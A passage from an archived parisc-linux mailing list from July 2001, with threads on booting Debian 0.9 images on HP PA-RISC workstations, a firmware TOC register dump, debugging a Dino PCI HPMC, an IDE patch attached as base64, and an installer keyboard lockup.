2. We think there are something wrong with gcc.
3. is this a problem with nfsroot files?
4. where to get the right nfsroot file to make gcc work?

any idea,

------=_NextPart_000_0011_01C10E0B.638B0990
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Continue with the same question of =
"palo"=20
compile.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>After the hp box boot up, we try to do =
step 8 Step=20
8&nbsp; "Initialize the boot loader (roughly equivalent to lilo): ***=20
NOTE<BR>*** change both '3's in the following command to use your =
partition=20
number<BR>$ palo -k /boot/vmlinux -b /boot/iplboot \<BR>-c =
'3/boot/vmlinux=20
TERM=3Dlinux HOME=3D/ root=3D/dev/sda3' \<BR>-I =
/dev/sda<BR><BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>We cannot get palo =
complied.&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>1. We later try to use gcc to compile a =
simple c=20
file. but gcc doesn't work. (the screen is blank, nothing shows=20
up).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>2. We think there are something wrong =
with=20
gcc.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>3. is this a problem with nfsroot=20
files?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>4. where to get the right nfsroot file =
to make gcc=20
work?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial><FONT size=3D2>any =
idea,</FONT></DIV></FONT></BODY></HTML>

------=_NextPart_000_0011_01C10E0B.638B0990--





From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yan Han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] not supported by 0.9 version
Date: Mon, 16 Jul 2001 15:37:20 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <000801c10e2e$bb1dee70$d10c6481@HCI009>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C10E0D.338F0820"
X-Trace: ger.gmane.org 1416620313 22489 80.91.229.3 (22 Nov 2014 01:38:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:33 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <Michael_Handrich@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 13:43:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 702FC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 13:43:10 -0600 (MDT)
Original-Received: from HCI009 (gl-209.gaul.csd.uwo.ca [129.100.12.209])
	by pony.its.uwo.ca (8.10.2/8.10.2) with SMTP id f6GJgvV03733;
	Mon, 16 Jul 2001 15:42:57 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11655

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C10E0D.338F0820
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi! we tried to install 0.9 version in 715/33. It doesn't work.=20

so use "rbootd" to boot up the machine.

------=_NextPart_000_0005_01C10E0D.338F0820
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi! we tried to install 0.9 version in =
715/33. It=20
doesn't work. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>so use "rbootd" to boot up the=20
machine.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C10E0D.338F0820--





From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yan Han" <yhan@uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Install on a 715/50 (wont boot)
Date: Mon, 16 Jul 2001 15:46:39 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <000501c10e30$083cdcb0$d10c6481@HCI009>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620313 22490 80.91.229.3 (22 Nov 2014 01:38:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:33 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <catfish@alltel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 13:53:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pony.its.uwo.ca (pony.its.uwo.ca [129.100.2.63])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77B1E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 13:53:17 -0600 (MDT)
Original-Received: from HCI009 (gl-209.gaul.csd.uwo.ca [129.100.12.209])
	by pony.its.uwo.ca (8.10.2/8.10.2) with SMTP id f6GJqGV09155;
	Mon, 16 Jul 2001 15:52:16 -0400 (EDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:11656

Hi!

We tried two external cdroms(IBM and Toshiba) to install .9 images, and
created 5 cd-Rs (memorex, verbertim, Sony, maxell). IBM (1 speed, actually
manufactured by Toshiba)  went further, but crashed at some point.

Forget 0.9 images, use 'rbootd' to boot up the machine.






From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clement MOYROUD <moyroudc@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 725/75 won't boot
Date: Tue, 17 Jul 2001 02:00:09 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <20010717000009.AA93CD15A6@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620313 22492 80.91.229.3 (22 Nov 2014 01:38:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 18:00:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51CF3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 18:00:24 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP id AA93CD15A6
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 02:00:09 +0200 (CEST)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11657

Hi all !                                                              
                                                                      
the ESIEE team just received a 725/75 from linuxcare, and when I tried
to make it boot palo issued a warning saying that the firmware doesn't
support PDC_MODEL_CAPABILITIES call. According to Paul Bame, this     
doesn't seem to be a palo issue, so i'm sending the TOC dump for you  
all hackers to see what's going on :                                  
                                                                      
General Registers:                                                    
                                                                      
00000000 00000000 1b1b1b1b 1b1b1b79 00020398 00200000 fffbf090        
00000089                                                              
fc4ff000 fc4ff000 00001000 001a5a59 001a5a59 000ff000 f000124c        
00000000                                                              
00000001 08000059 f0000694 00000000 00000000 00000001 00000000        
00006048                                                              
000b5a3c 000b5a44 00000000 00145008 000001b1 000000c0 000b46f0        
000b46f4                                                              
                                                                      
Control Registers:                                                    
                                                                      
00000000 00000000 00000000 00000000 00000000 00000000 00000000        
00000000                                                              
00000000 00000000 00000000 0000001e 00000000 00000000 000cc400        
00000000                                                              
38a073d5 00000000 1b1b1b1b 00000000 00000000 00000000 0000ff08        
80000000                                                              
00000800 f00000f0 ffffffcb ffffffff 0034183f 01234567 f0000694        
00067800                                                              
                                                                      
Space Registers:                                                      
                                                                      
00000000 00000000 00000000 00000000 00000000 00000000 00000000        
00000000                                                              
                                                                      
Instruction Address:                                                  
                                                                      
00000000 1b1b1b1b                                                     
                                                                      
        Check Type        = 0x20000000                                
        CPU State         = 0x9e000004                                
        Cache Check       = 0x00000000                                
        TLB Check         = 0x00000000                                
        Bus Check         = 0x00310007                                
        Assists Check     = 0x00000000                                
        Assist State      = 0x00000000                                
        System Responder Address = 0x1b1b1b18                         
        System Requestor Address = 0xfffbe000                         
        System Controller Status = 0x00000006                         
                                                                      
                                                                      
                                                                      
If you have a solution that would be great !                          
                                                                      
Clement Moyroud                                                       
Puffin ESIEE Team                                                     




From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help debuging HMPC
Date: Mon, 16 Jul 2001 21:39:29 -0600
Lines: 82
Approved: news@gmane.org
Message-ID: <20010716213929.A20026@beavis.ybsoft.com>
References: <200107161338.HAA20386@puffin.external.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620314 22496 80.91.229.3 (22 Nov 2014 01:38:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 16 21:39:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amanda.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EE13482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Jul 2001 21:39:31 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by amanda.ybsoft.com (Postfix) with ESMTP
	id E82615873A; Mon, 16 Jul 2001 14:40:54 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 81585BC72; Mon, 16 Jul 2001 21:39:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200107161338.HAA20386@puffin.external.hp.com>
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11658

On Mon, Jul 16, 2001 at 07:38:00AM -0600, Grant Grundler wrote:
> Ryan Bradetich wrote:
> > Just a quick clarification:
> > 
> > I macro expanded dino_in32 into this:
> > 	static u32 dino_in32 (struct pci_hba_data *d, u16 addr);
> > 
> > dino_in32 only takes two arguments, so I should check GR25 and manually
> > perform the calculations in the dino_in32 to get the proper address
> > passed to the _gsc_readl function, correct?  
> 
> Erm, right...dino_outX takes three...but the address is the second arg
> and should be found in GR25 too. ATM, I can't explain why I found the
> IO port address in GR24 when debugging a PCI problem on the A500.

I am confused about this also.

This is from the Documentation/parisc/registers file:

    r23-r26: these are arg3-arg0, i.e. you can use them if you
        don't care about the values that were passed in anymore.


this is from my latest register dump:

	r24-27   0000ff40 f2000064 040067f0 102ac010

The first thing that threw me was GR25 was obviously larger then the
u16 address being passed into dino_in32 function.  The other thing is
that value looks like a valid IO address.

I then checked to see how the values being passed to the gsc_writel 
function (I macro-expanded the function and pasted it here for easy 
reference):  

static u32 dino_in32 (struct pci_hba_data *d, u16 addr) 
{
	u32 v;
	unsigned long flags;

	spin_lock_irqsave(&(DINO_DEV(d)->dinosaur_pen), flags);

	/* tell HW which IO Port address */ \
	gsc_writel((u32) addr & ~3, d->base_addr + DINO_PCI_ADDR);

	/* generate I/O PORT read cycle */
	v = gsc_readl(d->base_addr+DINO_IO_DATA+(addr&0));

	spin_unlock_irqrestore(&(DINO_DEV(d)->dinosaur_pen), flags);
	return le32_to_cpu(v); \
}

The register value for GR24 looks to be a 16 bit value, and the value
for GR25 is the calculated value for d->base_addr + DINO_PCI_ADDR.

Dino version 3.1 (bridge mode) found at 0xf2000000
#define DINO_PCI_ADDR		0x064
#define DINO_IO_DATA		0x06c


So a couple of questions :)

1.  Is the HPMC really in the gsc_writel function and just not showing up
until the I/O port read cycle (gsc_readl function)?

2. Is the documentation correct for the resgister usage?

Thanks,

- Ryan

> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 

-- 




From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IDE patch
Date: Mon, 16 Jul 2001 23:38:54 -0700
Lines: 109
Approved: news@gmane.org
Message-ID: <20010716233854.B21338@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="k1lZvvs/B4yU6o8G"
X-Trace: ger.gmane.org 1416620314 22498 80.91.229.3 (22 Nov 2014 01:38:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 00:39:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60B45482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 00:39:35 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id ulbrgaaa for parisc-linux@lists.parisc-linux.org; Mon, 16 Jul 2001 23:36:02 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15MOVS-0001RI-00; Mon, 16 Jul 2001 23:38:54 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
X-VSMLoop: pangeatech.com
Xref: news.gmane.org gmane.linux.ports.parisc:11659

--k1lZvvs/B4yU6o8G
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

The attached patch was applied to CVS yesterday. It enables the IDE and
USB config options for parisc if SuperIO support is selected. This is
just some preliminary infrastructure work. Much still needs to be done
and tested to get IDE to work.

Some notes:
- the changes to ns87415.c is optional. Most PCI-IDE drivers have
  irq14/15 hardcoded as defaults. the ide drivers tries these first,
  fails, and falls back to the default in asm-parisc/ide.h, which has
  the right value
- the patch needs more checking for whether probing can be done. right
  now it blindly probes if superio support is configured, irregardless
  of whether superio is enabled.
- only pio mode is enabled at the moment. I was told that some
  additional work needs to be done elsewhere before we can do bm-dma
- On my c3k it detects the CD-ROM drive fine, but mounting a CD-ROM
  gives a lot of { DriveReady SeekComplete Error } messages. I'm 
  investigating these at the moment.

comments, suggestions and constructive criticisms welcome as always :)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


--k1lZvvs/B4yU6o8G
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="ide.diff.gz"
Content-Transfer-Encoding: base64

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
AAA=

--k1lZvvs/B4yU6o8G--




From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 0.9.2 on C110
Date: Tue, 17 Jul 2001 09:47:28 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20010717094728.L30356@linuxcare.com>
References: <1A8904C3797ED411AC2E0008C7E6F88117C915@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620314 22512 80.91.229.3 (22 Nov 2014 01:38:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 02:49:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id E92FE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 02:49:24 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9DE7FB00C; Tue, 17 Jul 2001 09:47:28 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <1A8904C3797ED411AC2E0008C7E6F88117C915@nlntmail2b.ats.nld.alcatel.nl>; from Hans.Witvliet@Alcatel.nl on Fri, Jul 13, 2001 at 02:40:19PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11660

On Fri, Jul 13, 2001 at 02:40:19PM +0200, Witvliet, Hans wrote:
> High all,
> 
> Just downloaded 0.9.2 image, burned it, and gave it a try on my C110.
> (should work afaik)
> For  the broad picture:
> C110, 256MB mem PS/2 keyboard & mouse, two lan interface, neither connected
> (yet) and no serial console)
> 
> Booting went well, switched to STI-console (nice tux  in upperleft corner)
> In a blink boot (cpu, mem, disks, lan) info flashed across the screen, and
> then, instead of login, a graphic screen with a general debian message that
> it is experimental software.

That is correct, you are about to install linux from CD, so you are seeing
the first screen of the installer output.

> After that the system seems to be frozen...

There are problems with the keyboard driver; for some people unplugging
the keyboard and this point and then plugging it in again clears the
problem.  I found that an old Compaq keyboard did not lock up at all.
You should be able to press <space> or <return> on that screen and get
the main menu of the installer displayed.

Richard





From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting 0.9.2 on C110
Date: Tue, 17 Jul 2001 10:59:38 +0200
Lines: 50
Approved: news@gmane.org
